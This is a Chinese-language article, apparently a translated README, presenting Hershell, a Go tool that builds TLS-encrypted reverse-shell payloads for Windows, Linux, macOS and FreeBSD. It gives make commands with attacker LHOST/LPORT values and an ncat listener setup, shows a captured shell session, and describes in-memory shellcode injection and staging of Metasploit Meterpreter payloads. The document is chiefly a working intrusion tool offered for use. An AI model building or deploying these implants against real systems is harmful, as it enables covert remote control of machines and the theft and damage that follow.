Hershell 跨平台反弹shell生成器
用Go语言编写的简单TCP反向shell。
它使用TLS来保护通信安全,并提供证书公钥指纹固定功能,防止流量拦截。
支持的操作系统是:
-
视窗
-
的Linux
-
苹果系统
-
FreeBSD及其衍生版
工具使用&依赖组件
Hershell使用Go语言开发,我们首先需要按照Go官方手册在我们的设备上完成Go环境的搭建,并设置好$GOPATH环境变量。
接下来,运行下列命令来获取项目源码:
go get github.com/lesnuages/hershell
构建Payload
在构建Payload时,我们可以选择使用已提供的Makefile来完成构建。此时,我们需要设置以下环境变量:
GOOS : 目标操作系统
GOARCH : 目标架构
LHOST : 攻击者IP或主机域名
LPORT : 监听器端口
关于GOOS和GOARCH变量的设置,
当然了,我们也在Makefile中提供了一些可供参考的变量值:
depends : 生成服务器证书(反向Shell需要使用到)
windows32 : 构建一个32位Windows可执行程序(PE 32位)
windows64 : 构建一个64位Windows可执行程序(PE 64位)
linux32 : 构建一个32位Linux可执行程序(ELF 32位)
linux64 : 构建一个64位Linux可执行程序(ELF 64位)
macos32 : 构建一个32位macOS可执行程序(Mach-O)
macos64 : 构建一个64位macOS可执行程序(Mach-O)
针对上述列表中的目标平台,我们还需要设置LHOST和LPORT这两个环境变量。
使用反向Shell
代码开始执行之后,工具将给我们提供一个远程Shell,它是一个自定义的交互式Shell,允许我们通过Windows上的cmd.exe或Unix设备中的/bin/sh来执行系统命令。
Hershell支持的部分特定命令如下表所示:
run_shell : 获取系统Shell
inject <base64 shellcode> : 向相同进程内存中注入一个shellcode(Base64编码),并执行代码。
meterpreter [tcp | http | https] IP:PORT:与多个处理器建立连接并从Metasploit获取第二阶段的反向TCP,HTTP或HTTPS Meterpreter,然后在内存中执行Shellcode(该功能目前仅支持Windows平台)。
exit:退出程序
工具使用
首先,我们需要使用以下的命令生成一个有效的证书:
$ make dependsopenssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key
-out server.pem
Generating a 4096 bit RSA private key
....................................................................................
.....
writing new private key to 'server.key'
-----
cat server.key >> server.pem
针对Windows平台:
# Predifined 32 bit target
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make windows64 LHOST=192.168.0.12 LPORT=1234
针对Linux平台:
# Predifined 32 bit target
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make linux64 LHOST=192.168.0.12 LPORT=1234
针对macOS平台:
$ make macos LHOST=192.168.0.12 LPORT=1234
工具使用样例
基础使用
我们可以使用各种工具来处理预期的连接,某些说:
socat
ncat
openssl服务器模块
Metasploit的各种处理程序(python / shell_reverse_tcp_ssl有效负载)
下面是ncat的使用样例:
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31alab
Meterpreter场景
注意:目前该功能仅支持在Windows平台上使用。
该工具的Meterpreter使用场景目前仅支持以下负载:
windows/meterpreter/reverse_tcp
windows/x64/meterpreter/reverse_tcp
windows/meterpreter/reverse_http
windows/x64/meterpreter/reverse_http
windows/meterpreter/reverse_https
windows/x64/meterpreter/reverse_https
文章来源:
https://github.com/lesnuages/hershell